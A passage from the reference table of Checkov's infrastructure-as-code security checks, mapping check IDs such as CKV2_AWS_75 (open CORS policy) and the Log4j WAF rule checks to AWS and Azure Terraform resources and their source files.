CKV2_AWS_75 | resource | aws_verifiedpermissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3549 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3550 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3551 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3552 | CKV2_AWS_75 | resource | aws_volume_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3553 | CKV2_AWS_75 | resource | aws_vpc | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3554 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3555 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3556 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3557 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3558 | CKV2_AWS_75 | resource | aws_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3559 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3560 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3561 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3562 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3563 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3564 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3565 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3566 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3567 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3568 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3569 | CKV2_AWS_75 | resource | aws_vpc_ipam | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3570 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3571 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3572 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3573 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3574 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3575 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3576 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3577 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3578 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3579 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3580 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3581 | CKV2_AWS_75 | resource | aws_vpc_peering_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3582 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3583 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3584 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3585 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3586 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3587 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3588 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3589 | CKV2_AWS_75 | resource | aws_vpclattice_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3590 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3591 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3592 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3593 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3594 | CKV2_AWS_75 | resource | aws_vpclattice_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3595 | CKV2_AWS_75 | resource | aws_vpclattice_service_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3596 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3597 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3598 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3599 | CKV2_AWS_75 | resource | aws_vpclattice_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3600 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3601 | CKV2_AWS_75 | resource | aws_vpn_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3602 | CKV2_AWS_75 | resource | aws_vpn_connection_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3603 | CKV2_AWS_75 | resource | aws_vpn_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3604 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3605 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3606 | CKV2_AWS_75 | resource | aws_waf_byte_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3607 | CKV2_AWS_75 | resource | aws_waf_geo_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3608 | CKV2_AWS_75 | resource | aws_waf_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3609 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3610 | CKV2_AWS_75 | resource | aws_waf_regex_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3611 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3612 | CKV2_AWS_75 | resource | aws_waf_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3613 | CKV2_AWS_75 | resource | aws_waf_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3614 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3615 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3616 | CKV2_AWS_75 | resource | aws_waf_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3617 | CKV2_AWS_75 | resource | aws_waf_xss_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3618 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3619 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3620 | CKV2_AWS_75 | resource | aws_wafregional_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3621 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3622 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3623 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3624 | CKV2_AWS_75 | resource | aws_wafregional_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3625 | CKV2_AWS_75 | resource | aws_wafregional_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3626 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3627 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3628 | CKV2_AWS_75 | resource | aws_wafregional_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3629 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3630 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3631 | CKV2_AWS_75 | resource | aws_wafv2_ip_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3632 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3633 | CKV2_AWS_75 | resource | aws_wafv2_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3634 | CKV2_AWS_75 | resource | aws_wafv2_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3635 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3636 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3637 | CKV2_AWS_75 | resource | aws_worklink_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3638 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3639 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3640 | CKV2_AWS_75 | resource | aws_workspaces_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3641 | CKV2_AWS_75 | resource | aws_workspaces_ip_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3642 | CKV2_AWS_75 | resource | aws_workspaces_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3643 | CKV2_AWS_75 | resource | aws_xray_encryption_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3644 | CKV2_AWS_75 | resource | aws_xray_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3645 | CKV2_AWS_75 | resource | aws_xray_sampling_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3646 | CKV2_AWS_76 | resource | aws_alb | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3647 | CKV2_AWS_76 | resource | aws_lb | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3648 | CKV2_AWS_76 | resource | aws_wafv2_web_acl | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3649 | CKV2_AWS_77 | resource | aws_api_gateway_stage | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3650 | CKV2_AWS_77 | resource | aws_apigatewayv2_api | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3651 | CKV2_AWS_77 | resource | aws_wafv2_web_acl | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3652 | CKV2_AWS_78 | resource | aws_appsync_graphql_api | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3653 | CKV2_AWS_78 | resource | aws_wafv2_web_acl | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml) | | 3654 | CKV_AZURE_1 | resource | azurerm_linux_virtual_machine | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py) | | 3655 | CKV_AZURE_1 | resource | azurerm_virtual_machine | Ensure Azure 